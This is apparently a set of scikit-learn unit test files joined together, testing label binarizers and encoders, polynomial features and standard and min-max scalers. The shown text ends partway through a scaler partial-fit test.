                       imputer_with_in.fit_transform(sparse.csc_matrix(X)).A)
    assert_array_equal(Xt_with_in,
                       imputer_with_in.fit_transform(sparse.csr_matrix(X)).A)


def test_indicator_features():
    # one feature with all missng values
    X = np.array([
       [-1,  -1,   2,   3],
       [4,  -1,   6,  -1],
       [8,  -1,  10,  11],
       [12,  -1,  -1,  15],
       [16,  -1,  18,  19]
    ])
    check_indicator(X, np.array([0, 2, 3]), axis=0)
    check_indicator(X, np.array([0, 1, 2, 3]), axis=1)

    # one feature with all missing values and one with no missing value
    # when axis=0 the feature gets discarded
    X = np.array([
       [-1,  -1,   1,   3],
       [4,  -1,   0,  -1],
       [8,  -1,   1,  0],
       [0,  -1,   0,  15],
       [16,  -1,   1,  19]
    ])
    check_indicator(X, np.array([0, 3]), axis=0)
    check_indicator(X, np.array([0, 1, 3]), axis=1)






import numpy as np

from scipy.sparse import issparse
from scipy.sparse import coo_matrix
from scipy.sparse import csc_matrix
from scipy.sparse import csr_matrix
from scipy.sparse import dok_matrix
from scipy.sparse import lil_matrix

from sklearn.utils.multiclass import type_of_target

from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import ignore_warnings

from sklearn.preprocessing.label import LabelBinarizer
from sklearn.preprocessing.label import MultiLabelBinarizer
from sklearn.preprocessing.label import LabelEncoder
from sklearn.preprocessing.label import label_binarize

from sklearn.preprocessing.label import _inverse_binarize_thresholding
from sklearn.preprocessing.label import _inverse_binarize_multiclass

from sklearn import datasets

iris = datasets.load_iris()


def toarray(a):
    if hasattr(a, "toarray"):
        a = a.toarray()
    return a


def test_label_binarizer():
    # one-class case defaults to negative label
    # For dense case:
    inp = ["pos", "pos", "pos", "pos"]
    lb = LabelBinarizer(sparse_output=False)
    expected = np.array([[0, 0, 0, 0]]).T
    got = lb.fit_transform(inp)
    assert_array_equal(lb.classes_, ["pos"])
    assert_array_equal(expected, got)
    assert_array_equal(lb.inverse_transform(got), inp)

    # For sparse case:
    lb = LabelBinarizer(sparse_output=True)
    got = lb.fit_transform(inp)
    assert_true(issparse(got))
    assert_array_equal(lb.classes_, ["pos"])
    assert_array_equal(expected, got.toarray())
    assert_array_equal(lb.inverse_transform(got.toarray()), inp)

    lb = LabelBinarizer(sparse_output=False)
    # two-class case
    inp = ["neg", "pos", "pos", "neg"]
    expected = np.array([[0, 1, 1, 0]]).T
    got = lb.fit_transform(inp)
    assert_array_equal(lb.classes_, ["neg", "pos"])
    assert_array_equal(expected, got)

    to_invert = np.array([[1, 0],
                          [0, 1],
                          [0, 1],
                          [1, 0]])
    assert_array_equal(lb.inverse_transform(to_invert), inp)

    # multi-class case
    inp = ["spam", "ham", "eggs", "ham", "0"]
    expected = np.array([[0, 0, 0, 1],
                         [0, 0, 1, 0],
                         [0, 1, 0, 0],
                         [0, 0, 1, 0],
                         [1, 0, 0, 0]])
    got = lb.fit_transform(inp)
    assert_array_equal(lb.classes_, ['0', 'eggs', 'ham', 'spam'])
    assert_array_equal(expected, got)
    assert_array_equal(lb.inverse_transform(got), inp)


def test_label_binarizer_unseen_labels():
    lb = LabelBinarizer()

    expected = np.array([[1, 0, 0],
                         [0, 1, 0],
                         [0, 0, 1]])
    got = lb.fit_transform(['b', 'd', 'e'])
    assert_array_equal(expected, got)

    expected = np.array([[0, 0, 0],
                         [1, 0, 0],
                         [0, 0, 0],
                         [0, 1, 0],
                         [0, 0, 1],
                         [0, 0, 0]])
    got = lb.transform(['a', 'b', 'c', 'd', 'e', 'f'])
    assert_array_equal(expected, got)


def test_label_binarizer_set_label_encoding():
    lb = LabelBinarizer(neg_label=-2, pos_label=0)

    # two-class case with pos_label=0
    inp = np.array([0, 1, 1, 0])
    expected = np.array([[-2, 0, 0, -2]]).T
    got = lb.fit_transform(inp)
    assert_array_equal(expected, got)
    assert_array_equal(lb.inverse_transform(got), inp)

    lb = LabelBinarizer(neg_label=-2, pos_label=2)

    # multi-class case
    inp = np.array([3, 2, 1, 2, 0])
    expected = np.array([[-2, -2, -2, +2],
                         [-2, -2, +2, -2],
                         [-2, +2, -2, -2],
                         [-2, -2, +2, -2],
                         [+2, -2, -2, -2]])
    got = lb.fit_transform(inp)
    assert_array_equal(expected, got)
    assert_array_equal(lb.inverse_transform(got), inp)


@ignore_warnings
def test_label_binarizer_errors():
    # Check that invalid arguments yield ValueError
    one_class = np.array([0, 0, 0, 0])
    lb = LabelBinarizer().fit(one_class)

    multi_label = [(2, 3), (0,), (0, 2)]
    assert_raises(ValueError, lb.transform, multi_label)

    lb = LabelBinarizer()
    assert_raises(ValueError, lb.transform, [])
    assert_raises(ValueError, lb.inverse_transform, [])

    assert_raises(ValueError, LabelBinarizer, neg_label=2, pos_label=1)
    assert_raises(ValueError, LabelBinarizer, neg_label=2, pos_label=2)

    assert_raises(ValueError, LabelBinarizer, neg_label=1, pos_label=2,
                  sparse_output=True)

    # Fail on y_type
    assert_raises(ValueError, _inverse_binarize_thresholding,
                  y=csr_matrix([[1, 2], [2, 1]]), output_type="foo",
                  classes=[1, 2], threshold=0)

    # Sequence of seq type should raise ValueError
    y_seq_of_seqs = [[], [1, 2], [3], [0, 1, 3], [2]]
    assert_raises(ValueError, LabelBinarizer().fit_transform, y_seq_of_seqs)

    # Fail on the number of classes
    assert_raises(ValueError, _inverse_binarize_thresholding,
                  y=csr_matrix([[1, 2], [2, 1]]), output_type="foo",
                  classes=[1, 2, 3], threshold=0)

    # Fail on the dimension of 'binary'
    assert_raises(ValueError, _inverse_binarize_thresholding,
                  y=np.array([[1, 2, 3], [2, 1, 3]]), output_type="binary",
                  classes=[1, 2, 3], threshold=0)

    # Fail on multioutput data
    assert_raises(ValueError, LabelBinarizer().fit, np.array([[1, 3], [2, 1]]))
    assert_raises(ValueError, label_binarize, np.array([[1, 3], [2, 1]]),
                  [1, 2, 3])


def test_label_encoder():
    # Test LabelEncoder's transform and inverse_transform methods
    le = LabelEncoder()
    le.fit([1, 1, 4, 5, -1, 0])
    assert_array_equal(le.classes_, [-1, 0, 1, 4, 5])
    assert_array_equal(le.transform([0, 1, 4, 4, 5, -1, -1]),
                       [1, 2, 3, 3, 4, 0, 0])
    assert_array_equal(le.inverse_transform([1, 2, 3, 3, 4, 0, 0]),
                       [0, 1, 4, 4, 5, -1, -1])
    assert_raises(ValueError, le.transform, [0, 6])

    le.fit(["apple", "orange"])
    msg = "bad input shape"
    assert_raise_message(ValueError, msg, le.transform, "apple")


def test_label_encoder_fit_transform():
    # Test fit_transform
    le = LabelEncoder()
    ret = le.fit_transform([1, 1, 4, 5, -1, 0])
    assert_array_equal(ret, [2, 2, 3, 4, 0, 1])

    le = LabelEncoder()
    ret = le.fit_transform(["paris", "paris", "tokyo", "amsterdam"])
    assert_array_equal(ret, [1, 1, 2, 0])


def test_label_encoder_errors():
    # Check that invalid arguments yield ValueError
    le = LabelEncoder()
    assert_raises(ValueError, le.transform, [])
    assert_raises(ValueError, le.inverse_transform, [])

    # Fail on unseen labels
    le = LabelEncoder()
    le.fit([1, 2, 3, 1, -1])
    assert_raises(ValueError, le.inverse_transform, [-1])


def test_sparse_output_multilabel_binarizer():
    # test input as iterable of iterables
    inputs = [
        lambda: [(2, 3), (1,), (1, 2)],
        lambda: (set([2, 3]), set([1]), set([1, 2])),
        lambda: iter([iter((2, 3)), iter((1,)), set([1, 2])]),
    ]
    indicator_mat = np.array([[0, 1, 1],
                              [1, 0, 0],
                              [1, 1, 0]])

    inverse = inputs[0]()
    for sparse_output in [True, False]:
        for inp in inputs:
            # With fit_tranform
            mlb = MultiLabelBinarizer(sparse_output=sparse_output)
            got = mlb.fit_transform(inp())
            assert_equal(issparse(got), sparse_output)
            if sparse_output:
                got = got.toarray()
            assert_array_equal(indicator_mat, got)
            assert_array_equal([1, 2, 3], mlb.classes_)
            assert_equal(mlb.inverse_transform(got), inverse)

            # With fit
            mlb = MultiLabelBinarizer(sparse_output=sparse_output)
            got = mlb.fit(inp()).transform(inp())
            assert_equal(issparse(got), sparse_output)
            if sparse_output:
                got = got.toarray()
            assert_array_equal(indicator_mat, got)
            assert_array_equal([1, 2, 3], mlb.classes_)
            assert_equal(mlb.inverse_transform(got), inverse)

    assert_raises(ValueError, mlb.inverse_transform,
                  csr_matrix(np.array([[0, 1, 1],
                                       [2, 0, 0],
                                       [1, 1, 0]])))


def test_multilabel_binarizer():
    # test input as iterable of iterables
    inputs = [
        lambda: [(2, 3), (1,), (1, 2)],
        lambda: (set([2, 3]), set([1]), set([1, 2])),
        lambda: iter([iter((2, 3)), iter((1,)), set([1, 2])]),
    ]
    indicator_mat = np.array([[0, 1, 1],
                              [1, 0, 0],
                              [1, 1, 0]])
    inverse = inputs[0]()
    for inp in inputs:
        # With fit_tranform
        mlb = MultiLabelBinarizer()
        got = mlb.fit_transform(inp())
        assert_array_equal(indicator_mat, got)
        assert_array_equal([1, 2, 3], mlb.classes_)
        assert_equal(mlb.inverse_transform(got), inverse)

        # With fit
        mlb = MultiLabelBinarizer()
        got = mlb.fit(inp()).transform(inp())
        assert_array_equal(indicator_mat, got)
        assert_array_equal([1, 2, 3], mlb.classes_)
        assert_equal(mlb.inverse_transform(got), inverse)


def test_multilabel_binarizer_empty_sample():
    mlb = MultiLabelBinarizer()
    y = [[1, 2], [1], []]
    Y = np.array([[1, 1],
                  [1, 0],
                  [0, 0]])
    assert_array_equal(mlb.fit_transform(y), Y)


def test_multilabel_binarizer_unknown_class():
    mlb = MultiLabelBinarizer()
    y = [[1, 2]]
    assert_raises(KeyError, mlb.fit(y).transform, [[0]])

    mlb = MultiLabelBinarizer(classes=[1, 2])
    assert_raises(KeyError, mlb.fit_transform, [[0]])


def test_multilabel_binarizer_given_classes():
    inp = [(2, 3), (1,), (1, 2)]
    indicator_mat = np.array([[0, 1, 1],
                              [1, 0, 0],
                              [1, 0, 1]])
    # fit_transform()
    mlb = MultiLabelBinarizer(classes=[1, 3, 2])
    assert_array_equal(mlb.fit_transform(inp), indicator_mat)
    assert_array_equal(mlb.classes_, [1, 3, 2])

    # fit().transform()
    mlb = MultiLabelBinarizer(classes=[1, 3, 2])
    assert_array_equal(mlb.fit(inp).transform(inp), indicator_mat)
    assert_array_equal(mlb.classes_, [1, 3, 2])

    # ensure works with extra class
    mlb = MultiLabelBinarizer(classes=[4, 1, 3, 2])
    assert_array_equal(mlb.fit_transform(inp),
                       np.hstack(([[0], [0], [0]], indicator_mat)))
    assert_array_equal(mlb.classes_, [4, 1, 3, 2])

    # ensure fit is no-op as iterable is not consumed
    inp = iter(inp)
    mlb = MultiLabelBinarizer(classes=[1, 3, 2])
    assert_array_equal(mlb.fit(inp).transform(inp), indicator_mat)


def test_multilabel_binarizer_same_length_sequence():
    # Ensure sequences of the same length are not interpreted as a 2-d array
    inp = [[1], [0], [2]]
    indicator_mat = np.array([[0, 1, 0],
                              [1, 0, 0],
                              [0, 0, 1]])
    # fit_transform()
    mlb = MultiLabelBinarizer()
    assert_array_equal(mlb.fit_transform(inp), indicator_mat)
    assert_array_equal(mlb.inverse_transform(indicator_mat), inp)

    # fit().transform()
    mlb = MultiLabelBinarizer()
    assert_array_equal(mlb.fit(inp).transform(inp), indicator_mat)
    assert_array_equal(mlb.inverse_transform(indicator_mat), inp)


def test_multilabel_binarizer_non_integer_labels():
    tuple_classes = np.empty(3, dtype=object)
    tuple_classes[:] = [(1,), (2,), (3,)]
    inputs = [
        ([('2', '3'), ('1',), ('1', '2')], ['1', '2', '3']),
        ([('b', 'c'), ('a',), ('a', 'b')], ['a', 'b', 'c']),
        ([((2,), (3,)), ((1,),), ((1,), (2,))], tuple_classes),
    ]
    indicator_mat = np.array([[0, 1, 1],
                              [1, 0, 0],
                              [1, 1, 0]])
    for inp, classes in inputs:
        # fit_transform()
        mlb = MultiLabelBinarizer()
        assert_array_equal(mlb.fit_transform(inp), indicator_mat)
        assert_array_equal(mlb.classes_, classes)
        assert_array_equal(mlb.inverse_transform(indicator_mat), inp)

        # fit().transform()
        mlb = MultiLabelBinarizer()
        assert_array_equal(mlb.fit(inp).transform(inp), indicator_mat)
        assert_array_equal(mlb.classes_, classes)
        assert_array_equal(mlb.inverse_transform(indicator_mat), inp)

    mlb = MultiLabelBinarizer()
    assert_raises(TypeError, mlb.fit_transform, [({}), ({}, {'a': 'b'})])


def test_multilabel_binarizer_non_unique():
    inp = [(1, 1, 1, 0)]
    indicator_mat = np.array([[1, 1]])
    mlb = MultiLabelBinarizer()
    assert_array_equal(mlb.fit_transform(inp), indicator_mat)


def test_multilabel_binarizer_inverse_validation():
    inp = [(1, 1, 1, 0)]
    mlb = MultiLabelBinarizer()
    mlb.fit_transform(inp)
    # Not binary
    assert_raises(ValueError, mlb.inverse_transform, np.array([[1, 3]]))
    # The following binary cases are fine, however
    mlb.inverse_transform(np.array([[0, 0]]))
    mlb.inverse_transform(np.array([[1, 1]]))
    mlb.inverse_transform(np.array([[1, 0]]))

    # Wrong shape
    assert_raises(ValueError, mlb.inverse_transform, np.array([[1]]))
    assert_raises(ValueError, mlb.inverse_transform, np.array([[1, 1, 1]]))


def test_label_binarize_with_class_order():
    out = label_binarize([1, 6], classes=[1, 2, 4, 6])
    expected = np.array([[1, 0, 0, 0], [0, 0, 0, 1]])
    assert_array_equal(out, expected)

    # Modified class order
    out = label_binarize([1, 6], classes=[1, 6, 4, 2])
    expected = np.array([[1, 0, 0, 0], [0, 1, 0, 0]])
    assert_array_equal(out, expected)

    out = label_binarize([0, 1, 2, 3], classes=[3, 2, 0, 1])
    expected = np.array([[0, 0, 1, 0],
                         [0, 0, 0, 1],
                         [0, 1, 0, 0],
                         [1, 0, 0, 0]])
    assert_array_equal(out, expected)


def check_binarized_results(y, classes, pos_label, neg_label, expected):
    for sparse_output in [True, False]:
        if ((pos_label == 0 or neg_label != 0) and sparse_output):
            assert_raises(ValueError, label_binarize, y, classes,
                          neg_label=neg_label, pos_label=pos_label,
                          sparse_output=sparse_output)
            continue

        # check label_binarize
        binarized = label_binarize(y, classes, neg_label=neg_label,
                                   pos_label=pos_label,
                                   sparse_output=sparse_output)
        assert_array_equal(toarray(binarized), expected)
        assert_equal(issparse(binarized), sparse_output)

        # check inverse
        y_type = type_of_target(y)
        if y_type == "multiclass":
            inversed = _inverse_binarize_multiclass(binarized, classes=classes)

        else:
            inversed = _inverse_binarize_thresholding(binarized,
                                                      output_type=y_type,
                                                      classes=classes,
                                                      threshold=((neg_label +
                                                                 pos_label) /
                                                                 2.))

        assert_array_equal(toarray(inversed), toarray(y))

        # Check label binarizer
        lb = LabelBinarizer(neg_label=neg_label, pos_label=pos_label,
                            sparse_output=sparse_output)
        binarized = lb.fit_transform(y)
        assert_array_equal(toarray(binarized), expected)
        assert_equal(issparse(binarized), sparse_output)
        inverse_output = lb.inverse_transform(binarized)
        assert_array_equal(toarray(inverse_output), toarray(y))
        assert_equal(issparse(inverse_output), issparse(y))


def test_label_binarize_binary():
    y = [0, 1, 0]
    classes = [0, 1]
    pos_label = 2
    neg_label = -1
    expected = np.array([[2, -1], [-1, 2], [2, -1]])[:, 1].reshape((-1, 1))

    yield check_binarized_results, y, classes, pos_label, neg_label, expected

    # Binary case where sparse_output = True will not result in a ValueError
    y = [0, 1, 0]
    classes = [0, 1]
    pos_label = 3
    neg_label = 0
    expected = np.array([[3, 0], [0, 3], [3, 0]])[:, 1].reshape((-1, 1))

    yield check_binarized_results, y, classes, pos_label, neg_label, expected


def test_label_binarize_multiclass():
    y = [0, 1, 2]
    classes = [0, 1, 2]
    pos_label = 2
    neg_label = 0
    expected = 2 * np.eye(3)

    yield check_binarized_results, y, classes, pos_label, neg_label, expected

    assert_raises(ValueError, label_binarize, y, classes, neg_label=-1,
                  pos_label=pos_label, sparse_output=True)


def test_label_binarize_multilabel():
    y_ind = np.array([[0, 1, 0], [1, 1, 1], [0, 0, 0]])
    classes = [0, 1, 2]
    pos_label = 2
    neg_label = 0
    expected = pos_label * y_ind
    y_sparse = [sparse_matrix(y_ind)
                for sparse_matrix in [coo_matrix, csc_matrix, csr_matrix,
                                      dok_matrix, lil_matrix]]

    for y in [y_ind] + y_sparse:
        yield (check_binarized_results, y, classes, pos_label, neg_label,
               expected)

    assert_raises(ValueError, label_binarize, y, classes, neg_label=-1,
                  pos_label=pos_label, sparse_output=True)


def test_invalid_input_label_binarize():
    assert_raises(ValueError, label_binarize, [0, 2], classes=[0, 2],
                  pos_label=0, neg_label=1)


def test_inverse_binarize_multiclass():
    got = _inverse_binarize_multiclass(csr_matrix([[0, 1, 0],
                                                   [-1, 0, -1],
                                                   [0, 0, 0]]),
                                       np.arange(3))
    assert_array_equal(got, np.array([1, 1, 0]))













# Authors:
#
#          Giorgio Patrini
#
# License: BSD 3 clause

import warnings
import numpy as np
import numpy.linalg as la
from scipy import sparse
from distutils.version import LooseVersion

from sklearn.utils import gen_batches

from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import clean_warning_registry
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_less
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_greater_equal
from sklearn.utils.testing import assert_less_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raises_regex
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import assert_no_warnings
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_allclose
from sklearn.utils.testing import skip_if_32bit

from sklearn.utils.sparsefuncs import mean_variance_axis
from sklearn.preprocessing.data import _transform_selected
from sklearn.preprocessing.data import _handle_zeros_in_scale
from sklearn.preprocessing.data import Binarizer
from sklearn.preprocessing.data import KernelCenterer
from sklearn.preprocessing.data import Normalizer
from sklearn.preprocessing.data import normalize
from sklearn.preprocessing.data import OneHotEncoder
from sklearn.preprocessing.data import StandardScaler
from sklearn.preprocessing.data import scale
from sklearn.preprocessing.data import MinMaxScaler
from sklearn.preprocessing.data import minmax_scale
from sklearn.preprocessing.data import MaxAbsScaler
from sklearn.preprocessing.data import maxabs_scale
from sklearn.preprocessing.data import RobustScaler
from sklearn.preprocessing.data import robust_scale
from sklearn.preprocessing.data import add_dummy_feature
from sklearn.preprocessing.data import PolynomialFeatures
from sklearn.exceptions import DataConversionWarning

from sklearn.pipeline import Pipeline
from sklearn.cross_validation import cross_val_predict
from sklearn.svm import SVR

from sklearn import datasets

iris = datasets.load_iris()

# Make some data to be used many times
rng = np.random.RandomState(0)
n_features = 30
n_samples = 1000
offsets = rng.uniform(-1, 1, size=n_features)
scales = rng.uniform(1, 10, size=n_features)
X_2d = rng.randn(n_samples, n_features) * scales + offsets
X_1row = X_2d[0, :].reshape(1, n_features)
X_1col = X_2d[:, 0].reshape(n_samples, 1)
X_list_1row = X_1row.tolist()
X_list_1col = X_1col.tolist()


def toarray(a):
    if hasattr(a, "toarray"):
        a = a.toarray()
    return a


def _check_dim_1axis(a):
    if isinstance(a, list):
        return np.array(a).shape[0]
    return a.shape[0]


def assert_correct_incr(i, batch_start, batch_stop, n, chunk_size,
                        n_samples_seen):
    if batch_stop != n:
        assert_equal((i + 1) * chunk_size, n_samples_seen)
    else:
        assert_equal(i * chunk_size + (batch_stop - batch_start),
                     n_samples_seen)


def test_polynomial_features():
    # Test Polynomial Features
    X1 = np.arange(6)[:, np.newaxis]
    P1 = np.hstack([np.ones_like(X1),
                    X1, X1 ** 2, X1 ** 3])
    deg1 = 3

    X2 = np.arange(6).reshape((3, 2))
    x1 = X2[:, :1]
    x2 = X2[:, 1:]
    P2 = np.hstack([x1 ** 0 * x2 ** 0,
                    x1 ** 1 * x2 ** 0,
                    x1 ** 0 * x2 ** 1,
                    x1 ** 2 * x2 ** 0,
                    x1 ** 1 * x2 ** 1,
                    x1 ** 0 * x2 ** 2])
    deg2 = 2

    for (deg, X, P) in [(deg1, X1, P1), (deg2, X2, P2)]:
        P_test = PolynomialFeatures(deg, include_bias=True).fit_transform(X)
        assert_array_almost_equal(P_test, P)

        P_test = PolynomialFeatures(deg, include_bias=False).fit_transform(X)
        assert_array_almost_equal(P_test, P[:, 1:])

    interact = PolynomialFeatures(2, interaction_only=True, include_bias=True)
    X_poly = interact.fit_transform(X)
    assert_array_almost_equal(X_poly, P2[:, [0, 1, 2, 4]])

    assert_equal(interact.powers_.shape, (interact.n_output_features_,
                 interact.n_input_features_))


def test_polynomial_feature_names():
    X = np.arange(30).reshape(10, 3)
    poly = PolynomialFeatures(degree=2, include_bias=True).fit(X)
    feature_names = poly.get_feature_names()
    assert_array_equal(['1', 'x0', 'x1', 'x2', 'x0^2', 'x0 x1',
                        'x0 x2', 'x1^2', 'x1 x2', 'x2^2'],
                       feature_names)

    poly = PolynomialFeatures(degree=3, include_bias=False).fit(X)
    feature_names = poly.get_feature_names(["a", "b", "c"])
    assert_array_equal(['a', 'b', 'c', 'a^2', 'a b', 'a c', 'b^2',
                        'b c', 'c^2', 'a^3', 'a^2 b', 'a^2 c',
                        'a b^2', 'a b c', 'a c^2', 'b^3', 'b^2 c',
                        'b c^2', 'c^3'], feature_names)
    # test some unicode
    poly = PolynomialFeatures(degree=1, include_bias=True).fit(X)
    feature_names = poly.get_feature_names([u"\u0001F40D", u"\u262E", u"\u05D0"])
    assert_array_equal([u"1", u"\u0001F40D", u"\u262E", u"\u05D0"],
                       feature_names)


def test_standard_scaler_1d():
    # Test scaling of dataset along single axis
    for X in [X_1row, X_1col, X_list_1row, X_list_1row]:

        scaler = StandardScaler()
        X_scaled = scaler.fit(X).transform(X, copy=True)

        if isinstance(X, list):
            X = np.array(X)  # cast only after scaling done

        if _check_dim_1axis(X) == 1:
            assert_almost_equal(scaler.mean_, X.ravel())
            assert_almost_equal(scaler.scale_, np.ones(n_features))
            assert_array_almost_equal(X_scaled.mean(axis=0),
                                      np.zeros_like(n_features))
            assert_array_almost_equal(X_scaled.std(axis=0),
                                      np.zeros_like(n_features))
        else:
            assert_almost_equal(scaler.mean_, X.mean())
            assert_almost_equal(scaler.scale_, X.std())
            assert_array_almost_equal(X_scaled.mean(axis=0),
                                      np.zeros_like(n_features))
            assert_array_almost_equal(X_scaled.mean(axis=0), .0)
            assert_array_almost_equal(X_scaled.std(axis=0), 1.)
        assert_equal(scaler.n_samples_seen_, X.shape[0])

        # check inverse transform
        X_scaled_back = scaler.inverse_transform(X_scaled)
        assert_array_almost_equal(X_scaled_back, X)

    # Constant feature
    X = np.ones(5).reshape(5, 1)
    scaler = StandardScaler()
    X_scaled = scaler.fit(X).transform(X, copy=True)
    assert_almost_equal(scaler.mean_, 1.)
    assert_almost_equal(scaler.scale_, 1.)
    assert_array_almost_equal(X_scaled.mean(axis=0), .0)
    assert_array_almost_equal(X_scaled.std(axis=0), .0)
    assert_equal(scaler.n_samples_seen_, X.shape[0])


def test_scale_1d():
    # 1-d inputs
    X_list = [1., 3., 5., 0.]
    X_arr = np.array(X_list)

    for X in [X_list, X_arr]:
        X_scaled = scale(X)
        assert_array_almost_equal(X_scaled.mean(), 0.0)
        assert_array_almost_equal(X_scaled.std(), 1.0)
        assert_array_equal(scale(X, with_mean=False, with_std=False), X)


@skip_if_32bit
def test_standard_scaler_numerical_stability():
    """Test numerical stability of scaling"""
    # np.log(1e-5) is taken because of its floating point representation
    # was empirically found to cause numerical problems with np.mean & np.std.

    x = np.zeros(8, dtype=np.float64) + np.log(1e-5, dtype=np.float64)
    if LooseVersion(np.__version__) >= LooseVersion('1.9'):
        # This does not raise a warning as the number of samples is too low
        # to trigger the problem in recent numpy
        x_scaled = assert_no_warnings(scale, x)
        assert_array_almost_equal(scale(x), np.zeros(8))
    else:
        w = "standard deviation of the data is probably very close to 0"
        x_scaled = assert_warns_message(UserWarning, w, scale, x)
        assert_array_almost_equal(x_scaled, np.zeros(8))

    # with 2 more samples, the std computation run into numerical issues:
    x = np.zeros(10, dtype=np.float64) + np.log(1e-5, dtype=np.float64)
    w = "standard deviation of the data is probably very close to 0"
    x_scaled = assert_warns_message(UserWarning, w, scale, x)
    assert_array_almost_equal(x_scaled, np.zeros(10))

    x = np.ones(10, dtype=np.float64) * 1e-100
    x_small_scaled = assert_no_warnings(scale, x)
    assert_array_almost_equal(x_small_scaled, np.zeros(10))

    # Large values can cause (often recoverable) numerical stability issues:
    x_big = np.ones(10, dtype=np.float64) * 1e100
    w = "Dataset may contain too large values"
    x_big_scaled = assert_warns_message(UserWarning, w, scale, x_big)
    assert_array_almost_equal(x_big_scaled, np.zeros(10))
    assert_array_almost_equal(x_big_scaled, x_small_scaled)

    x_big_centered = assert_warns_message(UserWarning, w, scale, x_big,
                                          with_std=False)
    assert_array_almost_equal(x_big_centered, np.zeros(10))
    assert_array_almost_equal(x_big_centered, x_small_scaled)


def test_scaler_2d_arrays():
    # Test scaling of 2d array along first axis
    rng = np.random.RandomState(0)
    n_features = 5
    n_samples = 4
    X = rng.randn(n_samples, n_features)
    X[:, 0] = 0.0  # first feature is always of zero

    scaler = StandardScaler()
    X_scaled = scaler.fit(X).transform(X, copy=True)
    assert_false(np.any(np.isnan(X_scaled)))
    assert_equal(scaler.n_samples_seen_, n_samples)

    assert_array_almost_equal(X_scaled.mean(axis=0), n_features * [0.0])
    assert_array_almost_equal(X_scaled.std(axis=0), [0., 1., 1., 1., 1.])
    # Check that X has been copied
    assert_true(X_scaled is not X)

    # check inverse transform
    X_scaled_back = scaler.inverse_transform(X_scaled)
    assert_true(X_scaled_back is not X)
    assert_true(X_scaled_back is not X_scaled)
    assert_array_almost_equal(X_scaled_back, X)

    X_scaled = scale(X, axis=1, with_std=False)
    assert_false(np.any(np.isnan(X_scaled)))
    assert_array_almost_equal(X_scaled.mean(axis=1), n_samples * [0.0])
    X_scaled = scale(X, axis=1, with_std=True)
    assert_false(np.any(np.isnan(X_scaled)))
    assert_array_almost_equal(X_scaled.mean(axis=1), n_samples * [0.0])
    assert_array_almost_equal(X_scaled.std(axis=1), n_samples * [1.0])
    # Check that the data hasn't been modified
    assert_true(X_scaled is not X)

    X_scaled = scaler.fit(X).transform(X, copy=False)
    assert_false(np.any(np.isnan(X_scaled)))
    assert_array_almost_equal(X_scaled.mean(axis=0), n_features * [0.0])
    assert_array_almost_equal(X_scaled.std(axis=0), [0., 1., 1., 1., 1.])
    # Check that X has not been copied
    assert_true(X_scaled is X)

    X = rng.randn(4, 5)
    X[:, 0] = 1.0  # first feature is a constant, non zero feature
    scaler = StandardScaler()
    X_scaled = scaler.fit(X).transform(X, copy=True)
    assert_false(np.any(np.isnan(X_scaled)))
    assert_array_almost_equal(X_scaled.mean(axis=0), n_features * [0.0])
    assert_array_almost_equal(X_scaled.std(axis=0), [0., 1., 1., 1., 1.])
    # Check that X has not been copied
    assert_true(X_scaled is not X)


def test_handle_zeros_in_scale():
    s1 = np.array([0, 1, 2, 3])
    s2 = _handle_zeros_in_scale(s1, copy=True)

    assert_false(s1[0] == s2[0])
    assert_array_equal(s1, np.array([0, 1, 2, 3]))
    assert_array_equal(s2, np.array([1, 1, 2, 3]))


def test_minmax_scaler_partial_fit():
    # Test if partial_fit run over many batches of size 1 and 50
    # gives the same results as fit
    X = X_2d
    n = X.shape[0]

    for chunk_size in [1, 2, 50, n, n + 42]:
        # Test mean at the end of the process
        scaler_batch = MinMaxScaler().fit(X)

        scaler_incr = MinMaxScaler()
        for batch in gen_batches(n_samples, chunk_size):
            scaler_incr = scaler_incr.partial_fit(X[batch])

        assert_array_almost_equal(scaler_batch.data_min_,
                                  scaler_incr.data_min_)
        assert_array_almost_equal(scaler_batch.data_max_,
                                  scaler_incr.data_max_)
        assert_equal(scaler_batch.n_samples_seen_, scaler_incr.n_samples_seen_)
        assert_array_almost_equal(scaler_batch.data_range_,
                                  scaler_incr.data_range_)
        assert_array_almost_equal(scaler_batch.scale_, scaler_incr.scale_)
        assert_array_almost_equal(scaler_batch.min_, scaler_incr.min_)

        # Test std after 1 step
        batch0 = slice(0, chunk_size)
        scaler_batch = MinMaxScaler().fit(X[batch0])
        scaler_incr = MinMaxScaler().partial_fit(X[batch0])

        assert_array_almost_equal(scaler_batch.data_min_,
                                  scaler_incr.data_min_)
        assert_array_almost_equal(scaler_batch.data_max_,
                                  scaler_incr.data_max_)
        assert_equal(scaler_batch.n_samples_seen_, scaler_incr.n_samples_seen_)
        assert_array_almost_equal(scaler_batch.data_range_,
                                  scaler_incr.data_range_)
        assert_array_almost_equal(scaler_batch.scale_, scaler_incr.scale_)
        assert_array_almost_equal(scaler_batch.min_, scaler_incr.min_)

        # Test std until the end of partial fits, and
        scaler_batch = MinMaxScaler().fit(X)
        scaler_incr = MinMaxScaler()  # Clean estimator
        for i, batch in enumerate(gen_batches(n_samples, chunk_size)):
            scaler_incr = scaler_incr.partial_fit(X[batch])
            assert_correct_incr(i, batch_start=batch.start,
                                batch_stop=batch.stop, n=n,
                                chunk_size=chunk_size,
                                n_samples_seen=scaler_incr.n_samples_seen_)


def test_standard_scaler_partial_fit():
    # Test if partial_fit run over many batches of size 1 and 50
    # gives the same results as fit
    X = X_2d
    n = X.shape[0]

    for chunk_size in [1, 2, 50, n, n + 42]:
        # Test mean at the end of the process
        scaler_batch = StandardScaler(with_std=False).fit(X)

        scaler_incr = StandardScaler(with_std=False)
        for batch in gen_batches(n_samples, chunk_size):
            scaler_incr = scaler_incr.partial_fit(X[batch])

        assert_array_almost_equal(scaler_batch.mean_, scaler_incr.mean_)
        assert_equal(scaler_batch.var_, scaler_incr.var_)  # Nones
        assert_equal(scaler_batch.n_samples_seen_, scaler_incr.n_samples_seen_)

        # Test std after 1 step
